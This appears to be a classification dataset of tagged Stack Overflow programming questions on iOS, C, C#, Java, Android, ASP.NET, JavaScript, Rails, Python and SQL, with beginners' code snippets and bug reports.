open a cbz/cbr file in ios  i am looking to integrate opening/viewing cbz/cbr file in ios6 (a simple viewer like uiwebview that reads pdf file will be fine as well).    are are there any libraries (commercial or free) that are available for opening these file types     thanks in advance,ios
unknown error while builing app in device  i am running an application in device and i get this eroor   <code>unable to read symbols for /developer/platforms/iphoneos.platform/devicesupport/4.3.5 (8l1)/symbols/developer/usr/lib/libxcodedebuggersupport.dylib (file not found).</code> but i build the same app in stimulator and it works perfect. i deleted the app from the device and restart it. i swithoff the iphone. i clered the cashe from the xcode. try a new build but again this eroor comes while building it in device. please help me.thanks.,iphone
c# get month int from month string  i found a lot of ways to get the name from a number but now i need it the other way around.     if the string equals april  i want to convert it to int  4 .    does anyone know the best way to accomplish this server side,c#
should all methods that have a return value be turned into a property   i was just thinking about it and since .net has introduced properties is there ever a situation where you would want to leave your code as a method that returns a value as opposed to a readonly property.,.net
pip installation urllib3 not found  i installed python 3.0 in my windows7 and i m trying to install the pip from the file <strong>get-pip.py</strong> .while running this file it throwing an error like  <strong>import error:nomodule named urllib3</strong>. i am trying to this to integrating selenium web driver packages to python in eclipse.    thank you,python
problems with pass-by-reference in objc  i wanna do pass by reference in objc.  here is the illustration of the scenario:   <pre><code>// mainclass.h @interface mainclass {     board *board;     otherclass *other; } @end  // mainclass.m @implementation mainclass  - (id)init {    if (self = [super init])    {       board = [[board alloc] init];       other = [[otherclass alloc] initotherclasswithboard: board];    }    return self }  @end  // other class.h @interface otherclass {    board *refboard; } - (void)initotherclasswithboard: (board*)ref; @end  @implementation otherclass  - (id)initotherclasswithboard: (board*)ref {     if (self = [super init])     {        refboard = ref;     }     return self; }  @end </code></pre>   so my question is does my otherclass is holding a reference board from mainclass  or otherclass s board is a copy but not a reference. if i wanna do a reference then how should i change it     edit: what if i add this on both classes   <pre><code>@property (nonatomic  retain) board *board; </code></pre>,objective-c
"replace word with another word in long string in nested array  my path are like below in my tree structure :    <pre><code>node                : /mypath/node       node-1         : /mypath/node/node-1        node-1-1     : /mypath/node/node-1-1 </code></pre>   now if my current object record from node then from that node i would like to travel every child nodes of it and replace <strong>node with first.</strong>    expected output will be :   <pre><code>node                : /mypath/first      node-1         : /mypath/first/node-1        node-1-1     : /mypath/first/node-1-1 </code></pre>   with my current code problem is it is only replacing <strong>search term(first)</strong> at first node but not for each of the child node.    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>var currentobj = 
   {
      name :  node  
      nodes : [
       {
          name :  node-1  
          nodes : [
           {
              name :  node-1-1  
              nodes : [
               {
                  name :  node-1-1-1  
                  nodes : [
                   
                 ] 
                  path :  /mypath/node/node-1/node-1-1/node-1-1-1 
               }
             ] 
              path :  /mypath/node/node-1/node-1-1 
           }
         ] 
          path :  /mypath/node/node-1 
       }
     ] 
      path :  /mypath/node 
   };
 
 recursive(currentobj  first );
 console.log(currentobj);
 
  function recursive(node replace)
     {
           console.log(node.path);
            node.path = replaceall(node.path  node  replace);
     } 
       
         function replaceall(str  find  replace) {
         return str.replace(new regexp(escaperegexp(find)   g )  replace);
     }
     
     function escaperegexp(str) {
         return str.replace(/([.*+ ^=!:${}()|\[\]\/\\])/g   \\$1 );
     }</code></pre>
 </div>
 </div>",javascript
microsoft .net get and post http  lets say i have a homecontroller with two over loaded methods:   <pre><code>httpget public viewresult a(){     return view(); }  httppost public viewresult a(){     return view( b ); } </code></pre>   i have two views:  a.cshtml  and  b.cshtml     when it s a get request  view a  gets loaded and when it s a post request  view b  gets loaded. however the browsers url still points to view  a . i was wondering what is the explanation behind that,.net
how does this value assignment work   i m reading k&amp;r and the following code confuses me. can someone explain it to me please. thanks in advance.   <pre><code>int leap; leap = year%4 == 0 &amp;&amp; year%100 !=0 || year%400 == 0; </code></pre>,c
checking for empty nsset   is there a way to check if a set is empty    <pre><code>nsmutableset *setempty = [[nsmutableset alloc] init];  // code to do things...  // check for empty set   [setempty release]; </code></pre>   gary,objective-c
print graphs in .net  hei    iam trying to find out how to pring graphs in .net platform . generate images of graphs from within .net iteself,.net
segmentation error in character array  i have written this program in linux. i assigned the character array size to 10. upon entering up to 23 characters  the program showed no error. but on the 24th character  it showed a segmentation error. please tell me why we can enter excess characters.   <pre><code>#include &lt;stdio.h&gt; void main () { char a[10]; scanf( %s   &amp;a); printf( %s   a); } </code></pre>,c
search is not working in section recyclerview  i am trying implement search function in my section <code>recyclerview</code> its not working but also not showing error...    i try with <code>edittext</code> <code>addtextchangedlistener</code> method. then in <code>adapter</code> add <code>notifydatachanged</code> method. try with normal <code>recyclerview</code> its working fine but when use with section <code>recyclerview</code> its not working  sorry for bad english    here is mainactivty here i get data from server and pass to the adapter in this class i am add the method for filter recyclerview    <pre><code> @override   protected void oncreate(bundle savedinstancestate) {     super.oncreate(savedinstancestate);     setcontentview(r.layout.activity_section_rv_search_prac);      init();      initview();     setuprecyclerview();     tempmodels = new arraylist&lt;tempmodel&gt;();     servicerequest();     searchitem();   }    private void init() {      madapter = new itemrecyclerviewadapter(sectionrvsearchprac.this);   }    private void initview() {      met_search = findviewbyid(r.id.et_search_main);   }    ///////////////////////////////    private void searchitem() {      met_search.addtextchangedlistener(         new textwatcher() {           @override           public void beforetextchanged(charsequence s  int start  int count  int after) {}            @override           public void ontextchanged(charsequence s  int start  int before  int count) {}            @override           public void aftertextchanged(editable s) {             filter(s.tostring());           }         });   }     //method for filter list is here..     private void filter(string text) {     arraylist&lt;tempmodel&gt; mfilter_list = new arraylist&lt;&gt;();      for (tempmodel tempmodel : tempmodels) {        if (tempmodel.getname().tolowercase().contains(text.tolowercase())) {         mfilter_list.add(tempmodel);       }     }     log.d(tag   filter:   + mfilter_list);     madapter.filterlist(mfilter_list);   }    //////////////////   private void setuprecyclerview() {     recyclerview = (recyclerview) findviewbyid(r.id.sectioned_recycler_view);     recyclerview.sethasfixedsize(true);     linearlayoutmanager = new linearlayoutmanager(this);     recyclerview.setlayoutmanager(linearlayoutmanager);   }    private void servicerequest() {      stringrequest stringrequest =         new stringrequest(             request.method.get              json_url              new response.listener&lt;string&gt;() {               @override               public void onresponse(string response) {                 parsejason(response);               }             }              new response.errorlistener() {               @override               public void onerrorresponse(volleyerror error) {                 // displaying the error in toast if occurrs                 toast.maketext(getapplicationcontext()  error.getmessage()  toast.length_short)                     .show();               }             });      requestqueue requestqueue = volley.newrequestqueue(this);      requestqueue.add(stringrequest);   }    public void parsejason(string response) {     {       log.d(tag   onresponse:   + response);        string[] first;       arraylist&lt;string&gt; sewction_list = new arraylist&lt;&gt;();        try {         jsonobject jsonobject = new jsonobject(response);          jsonarray jsonarray = jsonobject.getjsonarray( data );          string data = jsonarray.getstring(0);          first = data.split(pattern.quote( ***^^^*** ));          mylist_sec = new arraylist&lt;&gt;(arrays.aslist(first));          for (int j = 0; j &lt; mylist_sec.size(); j++) {            mylist_first =               new arraylist&lt;&gt;(arrays.aslist(mylist_sec.get(j).split(pattern.quote( ^^^^ ))));            sewction_list.add(mylist_first.get(0));           mylist_second =               new arraylist&lt;&gt;(arrays.aslist(mylist_first.get(1).split(pattern.quote( ^^ ))));            arraylist&lt;string&gt; id = new arraylist&lt;&gt;();           arraylist&lt;string&gt; url = new arraylist&lt;&gt;();           arraylist&lt;string&gt; img = new arraylist&lt;&gt;();           arraylist&lt;string&gt; name = new arraylist&lt;&gt;();           for (int i = 0; i &lt; mylist_second.size(); i++) {              mylist_third =                 new arraylist&lt;&gt;(arrays.aslist(mylist_second.get(i).split(pattern.quote( ** ))));              url.add(mylist_third.get(0));             img.add(mylist_third.get(1));             name.add(mylist_third.get(2));             id.add(mylist_third.get(3));              tempmodels.add(                 new tempmodel(                     mylist_third.get(2)                      mylist_third.get(0)                      mylist_third.get(1)                      mylist_third.get(3)));           }            sectionmodelarraylist.add(new sectionmodel(sewction_list  tempmodels));           sectionrecyclerviewadapter adapter =               new sectionrecyclerviewadapter(                   sectionrvsearchprac.this  recyclerviewtype  sectionmodelarraylist);            recyclerview.setadapter(adapter);         }       } catch (jsonexception e) {         e.printstacktrace();       }     }   } </code></pre>     here is myitemadapter class for child item    <pre><code>public class itemrecyclerviewadapter     extends recyclerview.adapter&lt;itemrecyclerviewadapter.itemviewholder&gt; {    private static final string tag =  adapter ;    private context context;    arraylist&lt;tempmodel&gt; tempmodels;     public itemrecyclerviewadapter(context context) {     this.context = context;   }    public void setdata(arraylist&lt;tempmodel&gt; data) {     this.tempmodels = data;   }    @override   public itemviewholder oncreateviewholder(viewgroup parent  int viewtype) {     view view =         layoutinflater.from(parent.getcontext())             .inflate(r.layout.item_custom_row_layout  parent  false);     return new itemviewholder(view);   }    @override   public void onbindviewholder(itemviewholder holder  final int position) {     string path = tempmodels.get(position).getimage();     holder.itemlabel.settext(tempmodels.get(position).getname());     picasso.get().load(path).into(holder.imageview);      holder.cardview.setonclicklistener(         new view.onclicklistener() {           @override           public void onclick(view v) {}         });   }    @override   public int getitemcount() {     return tempmodels.size();   }    /// here method for update filter list    public void filterlist(arraylist&lt;tempmodel&gt; filterdnames) {     this.tempmodels = filterdnames;     notifydatasetchanged();   }    class itemviewholder extends recyclerview.viewholder {     private textview itemlabel;     imageview imageview;     cardview cardview;      public itemviewholder(view itemview) {       super(itemview);        itemlabel = (textview) itemview.findviewbyid(r.id.item_label);       cardview = itemview.findviewbyid(r.id.cardview);       imageview = itemview.findviewbyid(r.id.img);     }   } </code></pre>     section model for section item   <pre class= lang-html prettyprint-override ><code>public class sectionmodel {    private arraylist&lt;string&gt; sectionlabel;   private arraylist&lt;tempmodel&gt; tempmodels;    public sectionmodel(arraylist&lt;string&gt; sectionlabel  arraylist&lt;tempmodel&gt; tempmodels) {     this.sectionlabel = sectionlabel;     this.tempmodels = tempmodels;   }    public arraylist&lt;string&gt; getsectionlabel() {     return sectionlabel;   }    public arraylist&lt;tempmodel&gt; gettempmodels() {     return tempmodels;   } } </code></pre>     model class for item   <pre class= lang-html prettyprint-override ><code>public class tempmodel implements parcelable{     string name;     string url;     string image;     string num;      public tempmodel() {     }      public tempmodel(string name  string url  string image  string num) {         this.name = name;         this.url = url;         this.image = image;         this.num = num;     }      protected tempmodel(parcel in) {         name = in.readstring();         url = in.readstring();         image = in.readstring();         num = in.readstring();     }      public static final creator&lt;tempmodel&gt; creator = new creator&lt;tempmodel&gt;() {         @override         public tempmodel createfromparcel(parcel in) {             return new tempmodel(in);         }          @override         public tempmodel[] newarray(int size) {             return new tempmodel[size];         }     };      public string getname() {         return name;     }      public void setname(string name) {         this.name = name;     }      public string geturl() {         return url;     }      public void seturl(string url) {         this.url = url;     }      public string getimage() {         return image;     }      public void setimage(string image) {         this.image = image;     }      public string getnum() {         return num;     }      public void setnum(string num) {         this.num = num;     }      @override     public int describecontents() {         return 0;     }      @override     public void writetoparcel(parcel dest  int flags) {         dest.writestring(name);         dest.writestring(url);         dest.writestring(image);         dest.writestring(num);     } } </code></pre>     sectionadapter class    <pre class= lang-html prettyprint-override ><code>public class sectionrecyclerviewadapter     extends recyclerview.adapter&lt;sectionrecyclerviewadapter.sectionviewholder&gt; {    private static final string tag =  section ;    class sectionviewholder extends recyclerview.viewholder {     private textview sectionlabel  showallbutton;     private recyclerview itemrecyclerview;      public sectionviewholder(view itemview) {       super(itemview);       sectionlabel = (textview) itemview.findviewbyid(r.id.section_label);       itemrecyclerview = (recyclerview) itemview.findviewbyid(r.id.item_recycler_view);     }   }    private context context;   private recyclerviewtype recyclerviewtype;   private arraylist&lt;sectionmodel&gt; sectionmodelarraylist;    public sectionrecyclerviewadapter(       context context        recyclerviewtype recyclerviewtype        arraylist&lt;sectionmodel&gt; sectionmodelarraylist) {     this.context = context;     this.recyclerviewtype = recyclerviewtype;     this.sectionmodelarraylist = sectionmodelarraylist;   }    @override   public sectionviewholder oncreateviewholder(viewgroup parent  int viewtype) {     view view = layoutinflater.from(parent.getcontext()).inflate(r.layout.rrow  parent  false);     return new sectionviewholder(view);   }    @override   public void onbindviewholder(sectionviewholder holder  int position) {     final sectionmodel sectionmodel = sectionmodelarraylist.get(position);     holder.sectionlabel.settext(sectionmodel.getsectionlabel().get(position));     // recycler view for items     holder.itemrecyclerview.sethasfixedsize(true);     holder.itemrecyclerview.setnestedscrollingenabled(false);     gridlayoutmanager gridlayoutmanager = new gridlayoutmanager(context  3);     holder.itemrecyclerview.setlayoutmanager(gridlayoutmanager);      /* set layout manager on basis of recyclerview enum type */      itemrecyclerviewadapter adapter = new itemrecyclerviewadapter(context);     adapter.setdata(sectionmodel.gettempmodels());     holder.itemrecyclerview.setadapter(adapter);    }    @override   public int getitemcount() {     return sectionmodelarraylist.size();   } </code></pre>,android
differences between    and    c  recentely i have seen that if i use <code>printf</code> with  foo  i get a warning.   <pre><code>printf( numero ); </code></pre>  <blockquote>    warning: character constant too long for its type [enabled by default]   warning: passing argument 1 of ‘printf’ makes pointer from integer   without a cast. /usr/include/stdio.h:362:12: note: expected ‘const   char * <strong>restrict</strong>’ but argument is of type ‘int’ extern int printf   (const char *__restrict __format  ...); warning: format not a string   literal and no format arguments [-wformat-security]  </blockquote>   and when i use <code>  </code> i don t get any warnings <code>printf( numero );</code>    so  what s the difference between <code>  </code> and <code>  </code>,c
null pointer exception  only when i try the type in array form  <strong>i am new to java</strong>     this is my first real project (card game: blackjack)     i made a test class and was told to use print-lines to try and pinpoint my problem  however i cannot comprehend why the null exception keeps showing up. i  don t have anything set to null  and my array has been initialized using the  new . i can also post the io class  however i m fairly certain that the issue is not within that.   <pre><code>  public static void main(string[] args) {     // initializing just a single player     player x = new player();     // quick test to make sure it reads the initial value of 0     system.out.println(x.getmoney());      // testing user input using an io class given     system.out.println( how much would you guys like to play with (bet money) );     double y = io.readdouble();     x.addmoney(y);     system.out.println(x.getmoney());     // successfully prints out the value y      player[] total = new player[4];     total[1].addmoney(y);      system.out.println(total[1].getmoney());     // returns the null pointer exception error    } </code></pre>   here is my player class    <pre><code>package blackjack;  public class player {    private hand hand = new hand();   private double currentmoney = 0;    private double bet = 0;    public void takecard(card h) {     hand.addcardtohand(h);   }    public double getbet() {     return bet;   }    public double getmoney() {     return currentmoney;   }    public void betmoney(double k) {     currentmoney = -k;     bet = +k;   }    public void addmoney(double k) {     currentmoney = currentmoney + k;   }    public void resetbet() {     bet = 0;   } </code></pre>   i can see maybe the problem being within my initialization of hand  however i the fact that i don t ask to return anything from the hand portion of the code leads me to believe that s not where the issue lies.,java
where should i put rails code that is related to a model but not related to database operations   i have a rails application that is using a document scanner (epson workforce 545). i have two models: document and scanner. <strong>i am having a hard time determining where i should put the code for the actual scanning operation.</strong> i initially thought i should have a <em>scan</em> method in the scanner model to house the code. however  from what i ve read i should keep only database-related operations in the model (see <a href= https://stackoverflow.com/questions/1068558/oo-design-in-rails-where-to-put-stuff >yehuda s answer here</a>). having the scanner logic inside the model seems to violate this idea.    i then thought i should create a module called scannerutilities and place that in the /lib folder. i suppose that would work  but does it make sense to have code that is so closely involved with a model to be stuck in the /lib folder  also  since the scanner is used to create a document object  i m calling the <em>scan</em> method from the document controller. so  the code is involved with more than one model and controller.    from my oo thinking  what an object does should be defined as a method of that class. so  if a scanner scans  shouldn t the <em>scan</em> method be in the scanner model     where is the best place to put this code     thanks!,ruby-on-rails
asp.net jquery: div in a dialog  i am trying to create an email share thing for a website. in the master page i have a link for which i have a jquery click event firing. in the click event  a div in master page is opened in jquery dialog. the div has some textboxes for email  sender name and message thing. then it includes two buttons: one foe sending email and other one for cancelling.     hyperlink in master page   <pre><code>&lt;a href= #  id= dialog_link  &gt;     &lt;asp:image id= imgsendemail  runat= server   imageurl= ~/images/icons/email.gif  alternatetext= email /&gt; &lt;/a&gt; </code></pre>   jquery code: it includes the click event for the above hyperlink wherein the dialog is opened.   <pre><code>$(document).ready(function () {      var dlg = $( #dialog ).dialog({          modal: true          draggable: true          resizable: true          show:  transfer           hide:  transfer           width: 550          title:  send email           autoopen: false          minheight: 10          minwidth: 10          closetext:  x           closeonescape: true          overlay: {         backgroundcolor:  #000           opacity: 0.65     }       });      dlg.parent().appendto(jquery( form:first ));      $( #dialog_link ).click(function () {          $( #dialog ).dialog( open );         var pgtitle = $(document)[0].title;         $( span[id*= lblpagetitle ] ).text(pgtitle);         var pgurl = window.location.pathname;         $( span[id*= lblpageurl ] ).text(pgurl);       });      $( #btnsend ).click(function () {          alert( in btn email send );         $( #dialog ).dialog( close );      });      $( #form1 input[name=btnsend] ).click(function () {          alert( in btn email send click 2 );         $( #dialog ).dialog( close );      });  }); </code></pre>   here is the div from master page which is opened in jquery dialog:   <pre><code>&lt;div id= dialog  style= text-align: left; background-color: white; &gt;     &lt;h2&gt;share this with your friends&lt;/h2&gt;     &lt;hr style= width: 98%  /&gt;     &lt;table width= 98% &gt;         &lt;tr&gt;             &lt;td colspan= 2 &gt;                 title:                 &lt;asp:label id= lblpagetitle  runat= server  cssclass= blue &gt;&lt;/asp:label&gt;&lt;br /&gt;                 url:&amp;nbsp;&amp;nbsp;                 &lt;asp:label id= lblpageurl  runat= server  cssclass= blue &gt;&lt;/asp:label&gt;                 &lt;asp:label id= lbltest  runat= server  backcolor= activeborder &gt;&lt;/asp:label&gt;             &lt;/td&gt;         &lt;/tr&gt;         &lt;tr&gt;             &lt;td colspan= 2 &gt;                 &lt;hr /&gt;             &lt;/td&gt;         &lt;/tr&gt;         &lt;tr&gt;             &lt;td width= 15% &gt;                 &lt;asp:label id= namelabel  runat= server  associatedcontrolid= txtname  text= your name  /&gt;             &lt;/td&gt;             &lt;td width= * &gt;                 &lt;asp:textbox id= txtname  runat= server  tabindex= 1  width= 70%  /&gt;                 &lt;asp:requiredfieldvalidator id= namerequired  runat= server  display= dynamic  controltovalidate= txtname  errormessage= name is required.  tooltip= name is required.  validationgroup= sendemail &gt;*&lt;/asp:requiredfieldvalidator&gt;                 &lt;br /&gt;             &lt;/td&gt;         &lt;/tr&gt;         &lt;tr&gt;             &lt;td&gt;                 &lt;asp:label id= emaillabel  runat= server  associatedcontrolid= txtemail  text= email to &gt;&lt;/asp:label&gt;             &lt;/td&gt;             &lt;td&gt;                 &lt;asp:textbox id= txtemail  runat= server  tabindex= 2  width= 70% &gt;&lt;/asp:textbox&gt;                 &lt;asp:requiredfieldvalidator id= emailrequired  runat= server  display= dynamic  controltovalidate= txtemail  errormessage= email is required.  tooltip= email is required.  validationgroup= sendemail &gt;*&lt;/asp:requiredfieldvalidator&gt;                 &lt;asp:regularexpressionvalidator id= regexemail  runat= server  controltovalidate= txtemail  cssclass= red  display= dynamic  errormessage= please enter a valid email address  validationgroup= sendemail  validationexpression= ^(([a-za-z0-9]+_+)|([a-za-z0-9]+\-+)|([a-za-z0-9]+\.+)|([a-za-z0-9]+\++))*[a-za-z0-9]+@((\w+\-+)|(\w+\.))*\w{1 63}\.[a-za-z]{2 6}$ &gt;&lt;/asp:regularexpressionvalidator&gt;                 &lt;br /&gt;             &lt;/td&gt;         &lt;/tr&gt;         &lt;tr&gt;             &lt;td&gt;                 &lt;asp:label id= messagelabel  runat= server  associatedcontrolid= txtmessage  text= message &gt;&lt;/asp:label&gt;             &lt;/td&gt;             &lt;td&gt;                 &lt;asp:textbox id= txtmessage  runat= server  tabindex= 3  textmode= multiline  columns= 6  rows= 6  width= 98%  font-size= small  text= check this out!  /&gt;                 &lt;asp:requiredfieldvalidator id= messagerequired  runat= server  display= dynamic  controltovalidate= txtmessage  errormessage= message is required.  tooltip= message is required.  validationgroup= sendemail &gt;*&lt;/asp:requiredfieldvalidator&gt;&lt;br /&gt;             &lt;/td&gt;         &lt;/tr&gt;         &lt;tr&gt;             &lt;td colspan= 2 &gt;                 &lt;asp:button id= btnsend  runat= server  text= send  validationgroup= sendemail  causesvalidation= true  tabindex= 4  onclick= btnsend_click  /&gt;                 &lt;asp:button id= btncancel  runat= server  text= cancel  tabindex= 5  onclick= btncancel_click  /&gt;             &lt;/td&gt;         &lt;/tr&gt;         &lt;tr&gt;             &lt;td colspan= 2 &gt;                 &lt;asp:label id= lblerror  runat= server &gt;&lt;/asp:label&gt;             &lt;/td&gt;         &lt;/tr&gt;     &lt;/table&gt; &lt;/div&gt; </code></pre>   here is the code behind event for email send button from the dialog:   <pre><code>protected void btnsend_click(object sender  eventargs e) {     string _namesender = txtname.text;     string _emailto = txtemail.text;     string _messagetext = txtmessage.text;     string _automessage = string.empty;      mailmessage message = new mailmessage();     message.from = new mailaddress( abbc@mycompany.com );     message.to.add(new mailaddress(_emailto));     message.subject = _namesender +   recommends   + page.title;      _automessage = _namesender +   has recommended this web page for your viewing.\n ;     _automessage += httpcontext.current.request.url.absoluteuri;     _automessage +=  \n\n-------------------------------------------------------------------\n ;     _automessage += _namesender +   said:\n ;     _automessage += _messagetext;       message.body = _automessage;      try     {         smtpclient client = new smtpclient();         client.send(message);     }     catch(smtpexception smptex)     {       lblerror.text = smptex.message;       txtemail.focus();     } } </code></pre>   the problem is in case an invalid email (e.g. xyz@xyz.com )is entered  which passes the validation  an exception is thrown. before this exception is displayed to the user  the dialog window closes. if the hyperlink is clicked again  the dialog opens the div and all the previous data is still in the textboxes and the exception is displayed in the error label.  so i want to keep the dialog window open and display the exception in the error label in the first place. moreoever  on exiting the dialog  i want the div textboxes to be cleared so that next time the user opens the email hyperlink  there is no data in the textboxes.    one more strange thing that i noticed was that i have client side event for the email send button in jquery  which should fire after server side event for the same button completes. hwoever it never fires.   <pre><code>$( #btnsend ).click(function () {      alert( in btn email send );     $( #dialog ).dialog( close );  });  $( #form1 input[name=btnsend] ).click(function () {      alert( in btn email send click 2 );     $( #dialog ).dialog( close );  }); </code></pre>   none of these events fire ...    any help will be appreciated.,asp.net
what ios sdk fingerprinting features are unique per device   there is a lot of interest in digital  fingerprinting  for mobile devices.  given some recent moves from apple: <a href= http://techcrunch.com/2014/02/07/openidfa-a-solution-to-idfa-related-app-store-rejections-debuts/  rel= noreferrer >http://techcrunch.com/2014/02/07/openidfa-a-solution-to-idfa-related-app-store-rejections-debuts/</a> there is some increased interest.    one can do this by combining features that make the device somewhat unique.  this fingerprint does not need to be totally unique or 100% stable  just unique and stable enough to match a click to an app launch within a small period (say 1 week).      here is a closed source version:  <a href= https://github.com/ylechelle/openidfa  rel= noreferrer >https://github.com/ylechelle/openidfa</a>    and an open source one (from me): <a href= https://github.com/mcorner/actuallyopenidfa/  rel= noreferrer >https://github.com/mcorner/actuallyopenidfa/</a>    there are a number of features used here: <a href= https://github.com/mcorner/actuallyopenidfa/blob/master/aoi/aoi.m  rel= noreferrer >https://github.com/mcorner/actuallyopenidfa/blob/master/aoi/aoi.m</a>    some obvious features are not usable without user permission (location  contacts) and therefore can t be used with advertising.  others are not usable across apps (like the vendorid)  thus aren t usable from connecting a click in one app to a launch of another.  others are not particularly stable (like  ip).    what other features of ios might be useable,ios
how to open android builtin volume ui  i want my app to open the android built-in user interface for volume up.   <pre><code>button bt=(button)findviewbyid(r.id.button); bt.setonclicklistener(new view.onclicklistener(){         @override         public void onclick(view v) {           keyevent ke=new keyevent(keyevent.action_down keyevent.keycode_volume_up);           onkeydown(keyevent.keycode_volume_up keyevent.action_down);               }     }); </code></pre>,android
issue with break in javascript  if i put <code>break;</code> in else part  the alert does not pop ups..!   <pre><code>var i=1; if(i==1) {      alert( hum ); } else {     i=0;     break; } </code></pre>   if i remove the <code>break;</code> from else part  then  everything works fine! is it my browser/server issue  if not i wonder why this happens!,javascript
"loading json data into angularjs ng-repeat and outside of ng-repeat from same json file  i m new to angular and a little lost. i m able to load the data and display it  but i m confused about loading other data that is not part of the ng-repeat i have set up from the same json file. here is what i have so far.    i would like to not use $scope.titlename =  john doe ;          $scope.infotext =  some more info  and have this info come from within the json file.    thanks for any help you can give.    <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>var app = angular.module( myapp   []);
 
 
 
  app.controller( something   function ($scope  $http){
   $http.get( site.json ).success(function(data) {
      $scope.sites = data;
      $scope.titlename =  john doe ;
      $scope.infotext =  some more info 
   });
  });
 
 
 
 /* json file content */
 
 [
   {
      name :  tim  
      image :  /features/home-1.jpg  
      link :  http://www.bbc.co.uk 
   } 
   {
      name :  don  
      image :  /features/home-1.jpg  
      link :  http://www.bbc.co.uk 
   } 
   {
      name :  mike  
      image :  /features/home-1.jpg  
      link :  http://www.bbc.co.uk 
   } 
   {
      sub : { titlename :  homer    infotext : two }
   }
 ]</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;body ng-app= myapp  ng-controller= something  &gt;
         &lt;div class= wrapper &gt;
             &lt;h1&gt;{{titlename}}&lt;/h1&gt;
             &lt;p class= info &gt;{{infotext}}&lt;/p&gt;
             &lt;div class= big   ng-repeat= site in sites  &gt;
                 &lt;a href= {{site.link}}  target= _blank &gt;
                     &lt;img src= {{site.image}} &gt;
                 &lt;/a&gt;          
                 &lt;h2&gt;{{site.name}}&lt;/h2&gt;
 
             &lt;/div&gt;
         &lt;/div&gt;
 
 &lt;/body&gt;</code></pre>
 </div>
 </div>",angularjs
how to store a session token in database in rails   how can i store a session token in database on login  everytime user login user s session token should get updated and when it is about to expire it should get updated to. i saw in rails guide that using <code>rails g active_record:session_migration</code> will create table and that will store all the sessions. then <code>yourapp::application.config.session_store :active_record_store</code>. how session will get store in this table   do i need to write a logic for that  please help.    thanks,ruby-on-rails
import conflict in python  <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/744373/python-circular-or-cyclic-imports >python: circular (or cyclic) imports</a>    </blockquote>     i m new to python  and i m having an issue  but i m not exactly sure if this is my issue. i have two files  user.py and comments.py. in user.py  i do    <pre><code>from comments import comment </code></pre>   and in comments.py i do    <pre><code>from user import user </code></pre>   my user loads fine  but when i load the url that leads to comments  i get a server error. commenting out the <code>from comments import comment</code> fixes the problem. am i doing something wrong,python
html doctype defined in html renders the font smaller  when i included the doctype entry in my html  the fonts are getting displayed smaller in size and alignment distorted. i included the doctype to avoid some of the css styles not appearing properly.    doctype which i used is    <pre><code>&lt;!doctype html public  -//w3c//dtd xhtml 1.1//en   http://www.w3.org/tr/xhtml11/dtd/xhtml11.dtd &gt; </code></pre>   pls provide me a suggestion to avoid the font size change and alignment.,html
how to send email with verification link when user completes his registration in asp.net c#  how to send email with verification link when user completes his registration in asp.net c# this is my code...plz tell me that how can i send verification link on users email when he create an account.....plz help....thanks in advance    <pre><code>using system; using system.collections; using system.configuration; using system.data; using system.web; using system.linq; using system.xml.linq; using system.web.security; using system.web.ui; using system.web.ui.htmlcontrols; using system.web.ui.webcontrols; using system.web.ui.webcontrols.webparts; using system.data.sqlclient; using system.configuration;  public partial class registration : system.web.ui.page { protected void page_load(object sender  eventargs e) {      sqlconnection con = new sqlconnection(      configurationmanager.connectionstrings[ bmcconnectionstring ].connectionstring);      // open the data connection.       con.open(); } protected void button1_click(object sender  eventargs e) {      if (ispostback)     {         response.write( &lt;script&gt;alert( thanking you .....registration successful )&lt;/script&gt; );         textboxdate.text = datetime.now.tostring();          sqlconnection con = new sqlconnection(configurationmanager.connectionstrings[ bmcconnectionstring ].connectionstring);          con.open();         string inscmd =  insert into registration(username  password  repassword  email  fullname  date  month  year  gender  area  date1) values (@username  @password  @repassword  @email  @fullname  @date  @month  @year  @gender  @area  @date1) ;         sqlcommand insertuser = new sqlcommand(inscmd  con);         insertuser.parameters.addwithvalue( @username   textboxun.text);         insertuser.parameters.addwithvalue( @password   textboxpw.text);         insertuser.parameters.addwithvalue( @repassword   textboxrp.text);         insertuser.parameters.addwithvalue( @email   textboxea.text);         insertuser.parameters.addwithvalue( @fullname   textboxfn.text);         insertuser.parameters.addwithvalue( @date   dropdownlistdate.selecteditem.text);         insertuser.parameters.addwithvalue( @month   dropdownlistmonth.selecteditem.text);         insertuser.parameters.addwithvalue( @year   dropdownlistyear.selecteditem.text);         insertuser.parameters.addwithvalue( @gender   radiobuttonlist1.selecteditem.text);         insertuser.parameters.addwithvalue( @area   dropdownlistarea.selecteditem.text);         insertuser.parameters.addwithvalue( @date1   textboxdate.text);         {             //create the mail message             mailmessage mail = new mailmessage();             //set the addresses             mail.from = new mailaddress( salvevishal9@gmail.com );             mail.to.add(textboxea.text);             //set the content             mail.subject =  this is an email ;             mail.body =  this is the body content of the email. ;             //send the message              smtpclient smtp = new smtpclient( smtp.gmail.com );             smtp.port = 587;             smtp.enablessl = true;             smtp.send(mail);          try         {             insertuser.executenonquery();             con.close();          }         catch (exception er)         {             response.write(er);         }     } } </code></pre>   },asp.net
how to change the title of the mail view  i have an app that sends an email.  i noticed that when i set the subject  it also changes the title of the mail view like this:    <img src= https://i.stack.imgur.com/s3seo.png  alt= enter image description here >     the problem is that if the subject of the email is long  it is cut off in the window title; when the subject is translated  it s even worse  making the translation garbage. i need to change the view title to something meaningful  like  export   not the subject of the email..  can this be done   if so  how do i do it,ios
using sql to extract information for research from electronic patient records  i am trying to get information from thousands of patient records from <code>sql</code>  stored in the  <code>comments</code>  column of the <code>progress note table</code> from our electronic patient records system.    due to the sensitivity of the request and the issues with patient identifiable information  i only want to pull the necessary data from this  <code>comments</code>  column  without pulling additional and un-necessary information which would be a breach of patient data.    within the  <code>comments</code>  column (which is a free text column) is included loads of text which is written about each patient when they see their consultant  such as <code>diagnosis</code>  <code>medication</code> and <code>general notes</code>.    for my research  i only need to extract those patients where this  comments  column includes the words:   <blockquote>    mirtazapine  shcizophrenia and bi-polar  </blockquote>   these three words must be present in each of the comments columns per patient to be considered valid for research purposes.  so  if one of the patients comments includes two out of the three key words  i will not use it (and i don t wish to see it  as it will be deemed an un-necessary extraction) - i only want to see any  <code>comments</code>  which have all of these 3 key words.    can anyone help,sql
